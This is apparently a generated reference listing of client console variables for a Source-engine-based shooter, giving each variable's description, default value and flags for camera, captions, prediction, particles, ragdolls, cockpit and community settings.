+boost_jetwash_prediction_factor + +Factor used to scale player's velocity when finding jetwash trace point. + +default: `"20.0f"` +flags: `0x2002` +
+
+bot_lagOut + +Cause bots to lag out + +default: `"0"` +flags: `0x2` +
+
+budget_animatingEntities + + + +default: `"5000"` +flags: `0x2` +
+
+budget_animationOverlayEntities + + + +default: `"260"` +flags: `0x2` +
+
+budget_combatCharEntities + + + +default: `"200"` +flags: `0x2` +
+
+budget_weaponEntities + + + +default: `"1200"` +flags: `0x2` +
+
+budget_ziplineEntities + + + +default: `"250"` +flags: `0x2` +
+
+bug_reproNum + + + +default: `"0"` +flags: `0x2002` +
+
+build_nonmerged + + + +default: `"1"` +flags: `0x2` +
+
+buildcubemaps_async + + + +default: `"1"` +flags: `0x4000` +
+
+buildcubemaps_bakery + + + +default: `"0"` +flags: `0x2` +
+
+buildcubemaps_index + + + +default: `"-1"` +flags: `0x4000` +
+
+buildcubemaps_pvs_start_early + + + +default: `"1"` +flags: `0x4000` +
+
+buildcubemaps_single_step + + + +default: `"0"` +flags: `0x4000` +
+
+building_cubemaps + + + +default: `"0"` +flags: `0x4000` +
+
+bulletPredictionDebug + + + +default: `"0"` +flags: `0x2002` +
+
+bullet_trace_test_debug + + + +default: `"0"` +flags: `0x2002` +
+
+bullet_trace_test_enable + + + +default: `"0"` +flags: `0x2002` +
+
+c_dropship_ground_fx_dist_interval + + + +default: `"256"` +flags: `0x2` +
+
+c_dropship_ground_fx_time_interval + + + +default: `"0.25"` +flags: `0x2` +
+
+c_dropship_rope_debug + + Used to visualize the drop ship rope interaction. + +default: `"0"` +flags: `0x2` +
+
+c_dropship_rope_events + +Turn on client side drop ship rope interaction detection. + +default: `"1"` +flags: `0x2` +
+
+c_dropship_rope_magnitude + +Used to scale the interaction of a drop ship and a rope. + +default: `"128"` +flags: `0x2` +
+
+c_dropship_rope_range + +Max distance away from a drop ship that a Rope is effected. + +default: `"1024"` +flags: `0x2` +
+
+c_maxdistance + + + +default: `"400"` +flags: `0x2` +
+
+c_maxpitch + + + +default: `"90"` +flags: `0x2` +
+
+c_maxyaw + + + +default: `"135"` +flags: `0x2` +
+
+c_mindistance + + + +default: `"30"` +flags: `0x2` +
+
+c_minpitch + + + +default: `"0"` +flags: `0x2` +
+
+c_minyaw + + + +default: `"-135"` +flags: `0x2` +
+
+c_orthoheight + + + +default: `"100"` +flags: `0x2` +
+
+c_orthowidth + + + +default: `"100"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_110 + + + +default: `"35.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_70 + + + +default: `"50.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_90 + + + +default: `"40.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_110 + + + +default: `"60.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_70 + + + +default: `"100.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_90 + + + +default: `"75.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderdist + + + +default: `"0.0"` +flags: `0x2` +
+
+c_thirdpersonshouldergetsviewpunch + + + +default: `"1"` +flags: `0x2` +
+
+c_thirdpersonshoulderheight + + + +default: `"0.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderoffset + + + +default: `"17.0"` +flags: `0x2` +
+
+c_threadedAnimPostData + + + +default: `"1"` +flags: `0x2` +
+
+cam_collision + +When in thirdperson and cam_collision is set to 1, an attempt is made to keep the camera from passing though walls. + +default: `"1"` +flags: `0x2` +
+
+cam_idealdelta + +Controls the speed when matching offset to ideal angles in thirdperson view + +default: `"4.0"` +flags: `0x2` +
+
+cam_idealdist + + + +default: `"150"` +flags: `0x2` +
+
+cam_ideallag + +Amount of lag used when matching offset to ideal angles in thirdperson view + +default: `"4.0"` +flags: `0x2` +
+
+cam_idealpitch + + + +default: `"0"` +flags: `0x2` +
+
+cam_idealyaw + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchLock_feetRelative + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchlock_on + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchlock_period + + + +default: `"1.0"` +flags: `0x2` +
+
+cam_pitchlock_phase + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchBase + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchRange + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchWiggleRoom + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_player_viewheight_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+cam_showangles + +When in thirdperson, print viewangles/idealangles/cameraoffsets to the console. + +default: `"0"` +flags: `0x2` +
+
+cc_captiontrace + +Show missing closecaptions (0 = no, 1 = devconsole, 2 = show in hud) + +default: `"1"` +flags: `0x2` +
+
+cc_global_norepeat + +How often a caption can repeat, unless overriden by norepeat. (or 0) + +default: `"5"` +flags: `0x2` +
+
+cc_linger_time + +Close caption linger time in seconds. + +default: `"1.0"` +flags: `0x80` +
+
+cc_max_duration + +The max duration in seconds for a closed caption if event doesn't stop playing. + +default: `"30.0"` +flags: `0x2` +
+
+cc_minvisibleitems + +Minimum number of caption items to show. + +default: `"1"` +flags: `0x2` +
+
+cc_predisplay_time + +Close caption delay in seconds before showing caption. + +default: `"0.25"` +flags: `0x80` +
+
+cc_rui + +Use RUI to draw closecaption text. + +default: `"1"` +flags: `0x2` +
+
+cc_text_size + +Changes the size of subtitles and closed captions text. 0 = normal, 1 = large, 2 = huge. + +default: `"0"` +flags: `0x1000000` +
+
+cc_timeshift_norepeat + +How often a caption can repeat, unless overriden by norepeat. (timeshift only) (or 0) + +default: `"5"` +flags: `0x2` +
+
+chasecam_distanceMax_override + + + +default: `"0"` +flags: `0x2` +
+
+chat_rules_log_details + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_console_ptt + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_debug + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_doRealNameLookups + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_min_status_send_interval + + + +default: `"16"` +flags: `0x2` +
+
+chatroom_nameLength + + + +default: `"-1"` +flags: `0x2` +
+
+chatroom_namePaddingX + + + +default: `"12"` +flags: `0x2` +
+
+chatroom_nameWidth + + + +default: `"-1"` +flags: `0x2` +
+
+chatroom_onlyWhenActive + + + +default: `"1"` +flags: `0x2` +
+
+chatroom_sendServerMutes + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_useSlopSpace + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_voiceMode + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_voiceMode + + + +default: `"0"` +flags: `0x2` +
+
+cheap_captions_fadetime + + + +default: `"0.5"` +flags: `0x2` +
+
+cheap_captions_test + + + +default: `"0"` +flags: `0x2` +
+
+chroma_enable + + + +default: `"1"` +flags: `0x80` +
+
+cl_NotifyAllLevelAssetsLoaded_endframe + + + +default: `"1"` +flags: `0x2` +
+
+cl_RunClientConnectScripts_Before_ProcessOnDataChangedEvents + + + +default: `"1"` +flags: `0x2` +
+
+cl_SetupAllBones + + + +default: `"0"` +flags: `0x2` +
+
+cl_ShowBoneSetupEnts + +Show which entities are having their bones setup each frame. + +default: `"0"` +flags: `0x2` +
+
+cl_adjustTimeEntsPerJob + + + +default: `"10"` +flags: `0x2` +
+
+cl_aggregate_particles + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowABSCalculationDuringSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowABSDuringSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowAnimsToInterpolateBackward + + + +default: `"0"` +flags: `0x2` +
+
+cl_always_draw_3p_player + +Always draw the 3p player model, even when in first-person view + +default: `"0"` +flags: `0x2` +
+
+cl_always_ragdoll_radius + +Always create client ragdoll if within this distance to viewer + +default: `"500"` +flags: `0x2` +
+
+cl_anglespeedkey + + + +default: `"0.67"` +flags: `0x2` +
+
+cl_anim_blend_transition_dist + + + +default: `"2500"` +flags: `0x2` +
+
+cl_anim_detail_dist + + + +default: `"1500"` +flags: `0x2` +
+
+cl_anim_face_dist + + + +default: `"250"` +flags: `0x2` +
+
+cl_anim_sequence_transition_full_weight_optimization + + + +default: `"0"` +flags: `0x2` +
+
+cl_anim_sounds_seek + + + +default: `"1"` +flags: `0xa` +
+
+cl_approx_footstep_origin + + + +default: `"1"` +flags: `0x2` +
+
+cl_approx_tracer_origin + + + +default: `"1"` +flags: `0x2` +
+
+cl_async_bone_setup + + + +default: `"1"` +flags: `0x2` +
+
+cl_base_entity_effect_lock + + + +default: `"0"` +flags: `0x2` +
+
+cl_bones_incremental_blend + +Don't reblend bones which we don't need to in SetupBones. + +default: `"0"` +flags: `0x2` +
+
+cl_bones_incremental_transform + +Don't retransform bones which we don't need to in SetupBones. + +default: `"1"` +flags: `0x2` +
+
+cl_bones_oldhack + +Redo all previously transformed bones in SetupBones--old 'hack'. + +default: `"0"` +flags: `0x2` +
+
+cl_bounds_show_errors + + + +default: `"0"` +flags: `0x2` +
+
+cl_burninggibs + +A burning player that gibs has burning gibs. + +default: `"0"` +flags: `0x2` +
+
+cl_clock_correction + +Enable/disable clock correction on the client. + +default: `"1"` +flags: `0x4000` +
+
+cl_clock_correction_ahead_correct_interval + +Minimum interval over which the clock will try to correct to ideal when it's ahead + +default: `"20"` +flags: `0x4000` +
+
+cl_clock_correction_behind_correct_interval + +Interval over which the clock will try to correct to ideal when it's behind + +default: `"200"` +flags: `0x4000` +
+
+cl_clock_correction_force_server_tick + +Force clock correction to match the server tick + this offset (-999 disables it). + +default: `"999"` +flags: `0x4000` +
+
+cl_cmdbackup + +Number of redundant usercmds to send, to cover client->server packet loss + +default: `"2"` +flags: `0x2` +
+
+cl_cmdrate + +Max number of command packets sent to server per second + +default: `"60"` +flags: `0x2` +
+
+cl_configversion + +Configuration layout version. + +default: `"1"` +flags: `0x2` +
+
+cl_configversion_dummy + +Configuration layout version dummy. + +default: `"0"` +flags: `0x2` +
+
+cl_cull_weapon_fx + + + +default: `"1"` +flags: `0x2` +
+
+cl_dataBlockFragmentPL + + + +default: `"0.0"` +flags: `0x2` +min value: `0` +max value: `1` +
+
+cl_deathhints_enabled + + + +default: `"1"` +flags: `0x1000000` +
+
+cl_debugClientEntities + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_deferred_trace + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_deferred_trace_overlay + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_model_fx_sounds + + + +default: `"0"` +flags: `0x2` +
+
+cl_decal_alwayswhite + +Force FX decals to white (1), or white full alpha (2). + +default: `"1"` +flags: `0x2` +
+
+cl_decal_backoff + +Amount to back off FX decal trace by. + +default: `"4"` +flags: `0x2` +
+
+cl_deferred_effects + + + +default: `"1"` +flags: `0x2` +
+
+cl_deferred_trace_normal_priority + + + +default: `"1"` +flags: `0x2` +
+
+cl_demoviewoverride + +Override view during demo playback + +default: `"0"` +flags: `0x2` +
+
+cl_disable_ragdolls + + + +default: `"0"` +flags: `0x4000` +
+
+cl_disable_splitscreen_cpu_level_cfgs_in_pip + + + +default: `"1"` +flags: `0x2` +
+
+cl_disconnectOnTooManySnapshotFrames + +Disconnect when the client gets too many snapshot messages from the server without the server getting any messages from the client. + +default: `"0"` +flags: `0x2` +
+
+cl_doNetworkAsserts + +Turn off to disable some client asserts that fail rarely, presumably due to network bugs. + +default: `"0"` +flags: `0x2` +
+
+cl_doRecreateEnts + + + +default: `"1"` +flags: `0x2` +
+
+cl_draw_player_model + + + +default: `"1"` +flags: `0x2` +
+
+cl_drawhud + +Enable the rendering of the hud + +default: `"1"` +flags: `0x40004000` +
+
+cl_drawmonitors + + + +default: `"1"` +flags: `0x2` +
+
+cl_ejectbrass + + + +default: `"1"` +flags: `0x2` +
+
+cl_enable_remote_splitscreen + +Allows viewing of nonlocal players in a split screen fashion + +default: `"0"` +flags: `0x2` +
+
+cl_entCreateDeleteDebug + +If true, print out when we create or delete an entity on the client + +default: `"0"` +flags: `0x2` +
+
+cl_events_ignore_invalidate + + + +default: `"1"` +flags: `0x2` +
+
+cl_failremoteconnections + +Force connection attempts to time out + +default: `"0"` +flags: `0x2` +
+
+cl_fasttempentcollision + + + +default: `"5"` +flags: `0x2` +
+
+cl_flip_vis_bits + + + +default: `"0"` +flags: `0x2` +
+
+cl_flushentitypacket + +For debugging. Force the engine to flush an entity packet. + +default: `"0"` +flags: `0x4000` +
+
+cl_footstep_event_max_dist + + + +default: `"4000"` +flags: `0x2` +
+
+cl_footstep_event_max_dist_titan + + + +default: `"4000"` +flags: `0x2` +
+
+cl_forceAdjustTime + + + +default: `"0"` +flags: `0x2` +
+
+cl_fovScale + + + +default: `"1.27216005"` +flags: `0x41000200` +min value: `1` +max value: `1.7` +
+
+cl_gib_allow + + + +default: `"1"` +flags: `0x40000000` +
+
+cl_gib_attack_dir_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+cl_gib_lifetime + + + +default: `"3"` +flags: `0x4000` +
+
+cl_idealpitchscale + +0 to turn off. 0.8 is a good starting value + +default: `"0"` +flags: `0x2` +
+
+cl_ignorepackets + +Force client to ignore packets (for debugging). + +default: `"0"` +flags: `0x4000` +
+
+cl_interp_all + +Disable interpolation list optimizations. + +default: `"0"` +flags: `0x2` +
+
+cl_interpolate + +Interpolate entities on the client. + +default: `"1.0"` +flags: `0x2` +
+
+cl_interpolate + +Interpolate entities on the client. + +default: `"1.0f"` +flags: `0x2` +
+
+cl_interpolateSoAllAnimsLoop + + + +default: `"1"` +flags: `0x2` +
+
+cl_interpolation_before_prediction + +Interpolate entities before doing prediction + +default: `"1"` +flags: `0x2` +
+
+cl_isUnderAge + + + +default: `"0"` +flags: `0x80000200` +
+
+cl_is_softened_locale + + + +default: `"0"` +flags: `0x80000` +
+
+cl_jiggle_bone_debug + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_debug_pitch_constraints + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_debug_yaw_constraints + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_invert + + + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_sanity + +Prevent jiggle bones from pointing directly away from their target in case of numerical instability. + +default: `"0"` +flags: `0x2` +
+
+cl_keepPersistentDataOnDisconnect + + + +default: `"0"` +flags: `0x2` +
+
+cl_lagcompensation + +Perform server side lag compensation of weapon firing events. + +default: `"1"` +flags: `0x200` +
+
+cl_language + +Language + +default: `"english"` +flags: `0x2` +
+
+cl_leafsystemvis + + + +default: `"0"` +flags: `0x4000` +
+
+cl_lerpIfChildrenLerp + + + +default: `"1"` +flags: `0x2` +
+
+cl_loadBspFromServerInfo + + + +default: `"0"` +flags: `0x2` +
+
+cl_loadPostProcessShadersEarly + + + +default: `"0"` +flags: `0x2` +
+
+cl_loadStaticPropsInJob + + + +default: `"0"` +flags: `0x2` +
+
+cl_matchmaking_timeout + +Total time allowed for the client to resend the 'connect' attempt when matchmaking + +default: `"1"` +flags: `0x80000` +min value: `0.5` +max value: `20000` +
+
+cl_model_fx_gib_cull_front_dist + + + +default: `"3000"` +flags: `0x2` +
+
+cl_model_fx_gib_cull_radius + + + +default: `"1000"` +flags: `0x2` +
+
+cl_mouseenable + + + +default: `"1"` +flags: `0x2` +
+
+cl_move_use_dt + +Use the actual delta time for motion instead some super complicated system based on the server frame rate. + +default: `"1"` +flags: `0x2` +
+
+cl_noTimeoutLocalHost + + + +default: `"1"` +flags: `0x2` +
+
+cl_overrideEventTimes + + + +default: `"0"` +flags: `0x2` +
+
+cl_parallelParticlePreDrawWork + + + +default: `"1"` +flags: `0x2` +
+
+cl_parallel_clientside_animations + + + +default: `"1"` +flags: `0x2` +
+
+cl_particle_batch_mode + + + +default: `"1"` +flags: `0x2` +
+
+cl_particle_fallback_base + +Base for falling back to cheaper effects under load. + +default: `"0"` +flags: `0x40000000` +
+
+cl_particle_fallback_multiplier + +Multiplier for falling back to cheaper effects under load. + +default: `"1"` +flags: `0x40000000` +
+
+cl_particle_limiter_display_killed + +Display a red box around killed fx. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_limiter_hide_killable + +Hide fx than could be killed if over limit. + +default: `"0"` +flags: `0x2002` +
+
+cl_particle_limiter_max_particle_count + +Limit the total number of active particles. 0 to not limit. + +default: `"10000"` +flags: `0x4000` +
+
+cl_particle_limiter_max_system_count + +Limit the total number of active particle systems. 0 to not limit. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_limiter_min_kill_distance + +Only kill fx that are further than this distance from the player. + +default: `"4000"` +flags: `0x4000` +
+
+cl_particle_limiter_overlay + +Display particle limiter infos. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_max_count + + + +default: `"0"` +flags: `0x2` +
+
+cl_particle_sim_fallback_base_multiplier + +How aggressive the switch to fallbacks will be depending on how far over the cl_particle_sim_fallback_threshold_ms the sim time is. Higher numbers are more aggressive. + +default: `"5"` +flags: `0x2` +
+
+cl_particle_sim_fallback_threshold_ms + +Amount of simulation time that can elapse before new systems start falling back to cheaper versions + +default: `"6.0"` +flags: `0x2` +
+
+cl_particle_snoozetime + +Particle snooze time in seconds (0 is off) + +default: `"0.166667"` +flags: `0x4000` +
+
+cl_particles_show_bbox + + + +default: `"0"` +flags: `0x4000` +
+
+cl_particles_show_bbox_name + +show the bounding box of only particles with this name + +default: `""` +flags: `0x2` +
+
+cl_particles_show_controlpoints + +1 to show parent effects, 2 shows all children effects too + +default: `"0"` +flags: `0x4000` +
+
+cl_pclass + +Dump entity by prediction classname. + +default: `""` +flags: `0x4000` +
+
+cl_pdump + +Dump info about this entity to screen. + +default: `"-1"` +flags: `0x4000` +
+
+cl_phys_maxticks + +Sets the max number of physics ticks allowed for client-side physics (ragdolls) + +default: `"3"` +flags: `0x2` +
+
+cl_phys_show_active + + + +default: `"0"` +flags: `0x4000` +
+
+cl_phys_timescale + +Sets the scale of time for client-side physics (ragdolls) + +default: `"1.0"` +flags: `0x4000` +
+
+cl_physics_invalidate_ents + + + +default: `"0"` +flags: `0x2` +
+
+cl_physics_maxvelocity + +Max velocity of a vphysics object on the client + +default: `"4000.0"` +flags: `0x4000` +
+
+cl_physicsshadowupdate_render + + + +default: `"0"` +flags: `0x2` +
+
+cl_pitchspeed + + + +default: `"225"` +flags: `0x2` +
+
+cl_playback_screenshots + +Allows the client to playback screenshot and jpeg commands in demos. + +default: `"0"` +flags: `0x2` +
+
+cl_player_fullupdate_predicted_origin_fix + + + +default: `"1"` +flags: `0x2` +
+
+cl_player_touch_triggers + + + +default: `"1"` +flags: `0x2` +
+
+cl_postSnapshotTransitionBlockCount + + + +default: `"20"` +flags: `0x2` +
+
+cl_preSnapshotTransitionBlockCount + + + +default: `"10"` +flags: `0x2` +
+
+cl_pred_error_verbose + +Show more field info when spewing prediction errors. + +default: `"0"` +flags: `0x2` +
+
+cl_pred_optimize + +Optimize for not rerunning prediction if there was no difference between what we predicted and the incoming networked state + +default: `"1"` +flags: `0x2` +
+
+cl_predict + +Perform client side prediction. + +default: `"1"` +flags: `0x200` +
+
+cl_predict_basetoggles + + + +default: `"1"` +flags: `0x2` +
+
+cl_predict_cmdlimit + +Artificially limits the number of remembered commands that can be used for prediction + +default: `"750"` +flags: `0x4000` +
+
+cl_predict_error_icon_duration + +Duration for prediction error icon to stay visible + +default: `"0.5"` +flags: `0x4000` +
+
+cl_predict_error_icon_show + +Whether to show the prediction error icon + +default: `"1"` +flags: `0x4000` +
+
+cl_predict_error_icon_threshold_angle + +Angle error required to show prediction error icon + +default: `"0.01"` +flags: `0x4000` +
+
+cl_predict_error_icon_threshold_dist + +Distance error required to show prediction error icon + +default: `"1.0"` +flags: `0x4000` +
+
+cl_predict_motioncontrol + + + +default: `"0"` +flags: `0x2` +
+
+cl_predict_viewangles + +Predict view angles even if cl_predict is 0. + +default: `"1"` +flags: `0x2` +
+
+cl_prediction_error_timestamps + + + +default: `"0"` +flags: `0x2` +
+
+cl_predictionlist + +Show which entities are predicting + + +default: `"0"` +flags: `0x4000` +
+
+cl_predictweapons + +Perform client side prediction of weapon effects. + +default: `"1"` +flags: `0x200` +
+
+cl_prevent_weapon_text_hints + +stops weapon text hints from appearing + +default: `"1"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time + +Fade out ragdoll even if in players view after this many seconds + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_local_view_player + +If the ragdoll is of the local view player then use the max of this and cl_ragdoll_force_fade_time for the fade time + +default: `"20"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_on_moving_geo + +Fade out ragdoll even if in players view after this many seconds when touching moving geo. + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_titan + +Fade out titan ragdoll even if in players view after this many seconds + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_maxcount + + + +default: `"8"` +flags: `0x40000000` +min value: `0` +max value: `8` +
+
+cl_ragdoll_self_collision + + + +default: `"1"` +flags: `0x40000002` +
+
+cl_replayDelayTolerance + + + +default: `"4"` +flags: `0x2` +
+
+cl_requireAnimForAnimEventsHdr + + + +default: `"1"` +flags: `0x2` +
+
+cl_resend + +Delay in seconds before the client will resend the 'connect' attempt + +default: `"0.5"` +flags: `0x80000` +min value: `0.5` +max value: `20` +
+
+cl_resend_timeout + +Total time allowed for the client to resend the 'connect' attempt + +default: `"10"` +flags: `0x80000` +min value: `0.5` +max value: `20000` +
+
+cl_retire_low_priority_lights + +Low priority dlights are replaced by high priority ones + +default: `"0"` +flags: `0x2` +
+
+cl_runWeaponCloneThinkWhenHidden + + + +default: `"1"` +flags: `0x2` +
+
+cl_safearea + + + +default: `"0"` +flags: `0x1000000` +
+
+cl_screenshotname + +Custom Screenshot name + +default: `""` +flags: `0x2` +
+
+cl_scriptCompileAsync + + + +default: `"1"` +flags: `0x2` +
+
+cl_script_perf_dump_on_shutdown + + + +default: `"0"` +flags: `0x2` +
+
+cl_shadowupdatespacing + + + +default: `"10.0"` +flags: `0x2` +
+
+cl_showClanTags + +Only change this while disconnected from a server + +default: `"1"` +flags: `0x2` +
+
+cl_show_splashes + + + +default: `"1"` +flags: `0x2` +
+
+cl_showerror + +Show prediction errors, 2 for above plus detailed field deltas. + +default: `"0"` +flags: `0x2` +
+
+cl_showerror_watchfield + +When showing prediction errors, only show fields that match this name + +default: `""` +flags: `0x2` +
+
+cl_showfiredbullets + + + +default: `"0"` +flags: `0x2` +
+
+cl_showfps + +Draw fps meter (1 = fps, 2 = smooth, 3 = server, 4 = Show+LogToFile, +10 = detailed ) + +default: `"0"` +flags: `0x80000` +
+
+cl_showfps_altframetime + +Use the showfps_enabled time instead of the old cl_showfps time. + +default: `"1"` +flags: `0x80000` +
+
+cl_showpausedimage + +Show the 'Paused' image when game is paused. + +default: `"1"` +flags: `0x2` +
+
+cl_showpos + +Draw current position at top of screen + +default: `"0"` +flags: `0x80000` +
+
+cl_showsounds + +Print server to client networked sounds to the console + +default: `"0"` +flags: `0x4000` +
+
+cl_showtime + +Draw current demo time if recording a demo + +default: `"0"` +flags: `0x80000` +
+
+cl_simulateAllModelsRegardless + + + +default: `"0"` +flags: `0x2` +
+
+cl_simulationtimefix + + + +default: `"1"` +flags: `0x2` +
+
+cl_skipAnimEventsOnProps + + + +default: `"1"` +flags: `0x2` +
+
+cl_skipfastpath + +Set to 1 to stop all models that go through the model fast path from rendering + +default: `"0"` +flags: `0x4000` +
+
+cl_smooth + +Smooth view/eye origin after prediction errors + +default: `"1"` +flags: `0x2` +
+
+cl_smooth_debug + +Show prediction errors that are being smoothed + +default: `"0"` +flags: `0x2` +
+
+cl_smoothtime + +Smooth client's view after prediction error over this many seconds + +default: `"0.25"` +flags: `0x2` +min value: `0.01` +max value: `2` +
+
+cl_threaded_bone_setup + +Enable parallel processing of C_BaseAnimating::SetupBones() + +default: `"1"` +flags: `0x2` +
+
+cl_update_visibility_for_non_predicted_local_player_always + + + +default: `"1"` +flags: `0x2` +
+
+cl_updatedirty_async + +Call UpdateDirtySpatialPartitionEntities on a worker thread. + +default: `"0"` +flags: `0x2` +
+
+cl_updatedirty_early + + + +default: `"0"` +flags: `0x2` +
+
+cl_updaterate_mp + +Number of packets per second of updates you are requesting from the server in mp + +default: `"20"` +flags: `0x10202` +
+
+cl_upspeed + + + +default: `"320"` +flags: `0x4000` +
+
+cl_useFutureSnapForEvents + + + +default: `"0"` +flags: `0x2` +
+
+cl_useLobbyTypeForChatroom + + + +default: `"1"` +flags: `0x2` +
+
+cl_view_cone + +Enable clamping view to animated/scripted viewcone + +default: `"1"` +flags: `0x4000` +
+
+cl_view_cone_debug + +Show view cone debugging window + +default: `"0"` +flags: `0x4000` +
+
+cl_viewmodel_pre_animate + + + +default: `"0"` +flags: `0x2` +
+
+cl_warnAboutSoundsOnInvalidEntities + + + +default: `"1"` +flags: `0x2` +
+
+cl_yawspeed + + + +default: `"210"` +flags: `0x2` +
+
+clampHostFrameTimeToOneTick_enable + + + +default: `"0"` +flags: `0x2` +
+
+clearOnAnimChange + + + +default: `"1"` +flags: `0x2` +
+
+client_deferredSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+clientport + +Host game client port + +default: `"0"` +flags: `0x80000` +
+
+cloak_enabled + + + +default: `"1"` +flags: `0x4000` +
+
+cloak_pilotNoiseFactor + +Intensity of noise in pilot cloak aberration + +default: `"0.25"` +flags: `0x2002` +
+
+cloak_pilotTint1 + +Brightness factor for center-left sample + +default: `"0.35"` +flags: `0x2002` +
+
+cloak_pilotTint2 + +Brightness factor for upper-right sample + +default: `"0.5"` +flags: `0x2002` +
+
+cloak_pilotTint3 + +Brightness factor for lower-right sample + +default: `"0.65"` +flags: `0x2002` +
+
+clock_bias_mp + + + +default: `"-18.0"` +flags: `0x2` +
+
+clock_bias_sp + + + +default: `"-2.0"` +flags: `0x2` +
+
+clock_showcorrections + + + +default: `"0"` +flags: `0x2` +
+
+clock_showdebuginfo + + + +default: `"0"` +flags: `0x2` +
+
+closecaption + +Enable close captioning. 1 = dialogue only, 2 = dialogue and sound effects. + +default: `"0"` +flags: `0x1000000` +
+
+cockpitDrift_scalePitch + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_scaleYaw + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_speedPitch + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_speedYaw + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitShake_sourceRollRange + +The range of weapon kick roll that will be sampled for cockpit shake. + +default: `"3"` +flags: `0x2` +
+
+cockpitShake_translateRange + +Max amount of cockpit shake. + +default: `"0.6"` +flags: `0x2` +
+
+cockpit_damage_chroma_scale + + + +default: `"0.4"` +flags: `0x2` +
+
+cockpit_hit_chroma_max_time + +Time to get rid of the most recent hit_chroma adjustment when at near 0 health. + +default: `"0.6"` +flags: `0x2` +
+
+cockpit_hit_chroma_scale + + + +default: `"0.2"` +flags: `0x2` +
+
+cockpit_pitch_down_frac + +fractional amount that cockpit pitches as you look down + +default: `"1.0"` +flags: `0x2` +
+
+cockpit_pitch_up_frac + +fractional amount that cockpit pitches as you look up + +default: `"1.0"` +flags: `0x2` +
+
+cockpit_screen_boot_chroma_scale + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_bottom + + + +default: `"1.25"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_left + + + +default: `"0.25"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_mid + + + +default: `"0.5"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_right + + + +default: `"0.75"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_top + + + +default: `"1.0"` +flags: `0x2` +
+
+coll_spatial_entry_limit_client + +How many entries are used in the spatial acceleration structure for dynamic entities on the client. + +default: `"140"` +flags: `0x2` +
+
+coll_spatial_optimize_prefetch + +Prefetch memory into the cache before optimizing spatial acceleration trees. This does more work, but tends to be faster overall. + +default: `"1"` +flags: `0x2` +
+
+coll_use_bolt_size + + + +default: `"1"` +flags: `0x2002` +
+
+colorblind_mode + + + +default: `"0"` +flags: `0x41000000` +min value: `0` +max value: `3` +
+
+communities_doRealNameLookupsForCommunityCreators + + + +default: `"0"` +flags: `0x2` +
+
+communities_enabled + +Enable communities + +default: `"0"` +flags: `0x2` +
+
+communities_hostname + + + +default: `""` +flags: `0x2` +
+
+community + +Our current community + +default: `""` +flags: `0x200` +
+
+community_abortCommunitySettingsTime + + + +default: `"20"` +flags: `0x2` +
+
+community_abortUserInfoTime + + + +default: `"20"` +flags: `0x2` +
+
+community_browse_excludeMine + + + +default: `"0"` +flags: `0x2` +
+
+community_clantags + +put community name in the clan tag + +default: `"1"` +flags: `0x2` +
+
+community_doRealNameLookupsForInbox + + + +default: `"0"` +flags: `0x2` +
+
+community_frame_run + +Communities should run it's frame update. + +default: `"1"` +flags: `0x2` +
+
+community_queryServerWhenOrphaned + + + +default: `"1"` +flags: `0x2` +
+
+community_replaceInboxTokens + + + +default: `"1"` +flags: `0x2` +
+
+community_replaceInboxTokens + + + +default: `"1"` +flags: `0x2` +
+
+community_resolveNames + + + +default: `"1"` +flags: `0x2` +
+
+community_resolveNames + + + +default: `"1"` +flags: `0x2` +
+
+community_send_server_voice + +Communities will route voice data to the chat server! + +default: `"1"` +flags: `0x2` +
+
+community_spam + +Whether communities should spam to the console log + +default: `"0"` +flags: `0x2` +
+
